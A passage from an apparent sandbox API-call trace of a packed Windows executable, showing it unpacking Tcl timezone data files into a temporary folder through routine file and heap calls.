lpFileInformation=0x4f8d4c) returned 1 [0040.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.846] CloseHandle (hObject=0x10c) returned 1 [0040.846] GetLastError () returned 0x0 [0040.846] SetLastError (dwErrCode=0x0) [0040.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.847] GetFileType (hFile=0x10c) returned 0x1 [0040.847] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.847] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.847] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.847] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.847] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.847] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.847] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.847] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.847] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.847] CloseHandle (hObject=0x10c) returned 1 [0040.847] GetLastError () returned 0x0 [0040.847] SetLastError (dwErrCode=0x0) [0040.847] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Cape_Verde") returned 76 [0040.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Cape_Verde" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\cape_verde"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.847] GetLastError () returned 0x2 [0040.847] SetLastError (dwErrCode=0x2) [0040.847] GetLastError () returned 0x2 [0040.847] SetLastError (dwErrCode=0x2) [0040.847] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Cape_Verde", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Cape_Verde", lpFilePart=0x0) returned 0x4b [0040.847] GetLastError () returned 0x2 [0040.847] SetLastError (dwErrCode=0x2) [0040.847] GetLastError () returned 0x2 [0040.847] SetLastError (dwErrCode=0x2) [0040.847] GetLastError () returned 0x2 [0040.847] SetLastError (dwErrCode=0x2) [0040.847] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Cape_Verde") returned 76 [0040.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Cape_Verde" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\cape_verde"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.848] GetFileType (hFile=0x10c) returned 0x1 [0040.848] htonl (hostlong=0xee000000) returned 0xee [0040.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.848] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xee, lpOverlapped=0x0) returned 1 [0040.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.849] CloseHandle (hObject=0x10c) returned 1 [0040.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.849] htonl (hostlong=0x40000000) returned 0x40 [0040.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.850] GetFileType (hFile=0x10c) returned 0x1 [0040.850] htonl (hostlong=0x44485b00) returned 0x5b4844 [0040.850] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ff844, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.850] htonl (hostlong=0x85000000) returned 0x85 [0040.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0040.850] htonl (hostlong=0x85000000) returned 0x85 [0040.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.850] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.850] htonl (hostlong=0xb5000000) returned 0xb5 [0040.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb5) returned 0x550600 [0040.850] htonl (hostlong=0x85000000) returned 0x85 [0040.850] htonl (hostlong=0xb5000000) returned 0xb5 [0040.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.850] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.850] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.850] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.850] CloseHandle (hObject=0x10c) returned 1 [0040.850] GetLastError () returned 0x0 [0040.850] SetLastError (dwErrCode=0x0) [0040.850] GetLastError () returned 0x0 [0040.850] SetLastError (dwErrCode=0x0) [0040.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.851] GetFileType (hFile=0x10c) returned 0x1 [0040.851] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.851] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.851] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.851] CloseHandle (hObject=0x10c) returned 1 [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.851] GetFileType (hFile=0x10c) returned 0x1 [0040.851] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.851] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.851] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.851] CloseHandle (hObject=0x10c) returned 1 [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.852] GetFileType (hFile=0x10c) returned 0x1 [0040.852] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.852] CloseHandle (hObject=0x10c) returned 1 [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faeroe") returned 72 [0040.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faeroe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\faeroe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.852] GetLastError () returned 0x2 [0040.852] SetLastError (dwErrCode=0x2) [0040.852] GetLastError () returned 0x2 [0040.852] SetLastError (dwErrCode=0x2) [0040.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faeroe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faeroe", lpFilePart=0x0) returned 0x47 [0040.852] GetLastError () returned 0x2 [0040.853] SetLastError (dwErrCode=0x2) [0040.853] GetLastError () returned 0x2 [0040.853] SetLastError (dwErrCode=0x2) [0040.853] GetLastError () returned 0x2 [0040.853] SetLastError (dwErrCode=0x2) [0040.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faeroe") returned 72 [0040.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faeroe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\faeroe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.853] GetFileType (hFile=0x10c) returned 0x1 [0040.853] htonl (hostlong=0xb5000000) returned 0xb5 [0040.853] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.853] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb5, lpOverlapped=0x0) returned 1 [0040.854] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.854] CloseHandle (hObject=0x10c) returned 1 [0040.854] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.854] htonl (hostlong=0x30000000) returned 0x30 [0040.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.854] GetFileType (hFile=0x10c) returned 0x1 [0040.854] htonl (hostlong=0xc9485b00) returned 0x5b48c9 [0040.854] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ff8c9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.855] htonl (hostlong=0xb8050000) returned 0x5b8 [0040.855] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5b8) returned 0x550600 [0040.855] htonl (hostlong=0xb8050000) returned 0x5b8 [0040.855] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.855] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.855] htonl (hostlong=0x97190000) returned 0x1997 [0040.855] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1997) returned 0x561090 [0040.855] htonl (hostlong=0xb8050000) returned 0x5b8 [0040.855] htonl (hostlong=0x97190000) returned 0x1997 [0040.855] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562a30 [0040.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562a30 | out: hHeap=0x530000) returned 1 [0040.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.855] CloseHandle (hObject=0x10c) returned 1 [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.855] GetFileType (hFile=0x10c) returned 0x1 [0040.855] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.855] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.855] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.855] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.855] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.855] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.856] CloseHandle (hObject=0x10c) returned 1 [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.856] GetFileType (hFile=0x10c) returned 0x1 [0040.856] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.856] CloseHandle (hObject=0x10c) returned 1 [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] MultiByteToWideChar 